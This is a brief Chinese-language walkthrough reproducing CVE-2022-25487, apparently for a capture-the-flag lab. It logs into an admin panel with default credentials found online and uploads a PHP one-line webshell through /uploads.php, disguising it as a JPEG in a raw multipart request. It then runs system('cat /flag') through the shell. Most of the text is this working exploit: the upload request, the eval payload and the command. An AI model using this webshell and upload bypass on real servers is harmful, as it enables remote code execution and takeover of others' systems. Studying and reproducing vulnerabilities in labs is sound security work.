CVE-2022-25487

CVE-2022-25487复现

访问admin目录

再网上搜索默认密码alan@alan.com/password

访问/uploads.php

上传一句话木马

Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041-----------------------------30623082103363803402542706041
Content-Disposition: form-data; name="file"-----------------------------30623082103363803402542706041
Content-Disposition: form-data; name="file"; filename="cmd.php"
Content-Type: image/jpeg<?php @eval($_POST['cmd']);?>
-----------------------------30623082103363803402542706041--

访问木马路径

查看flag，POST:cmd=system('cat /flag');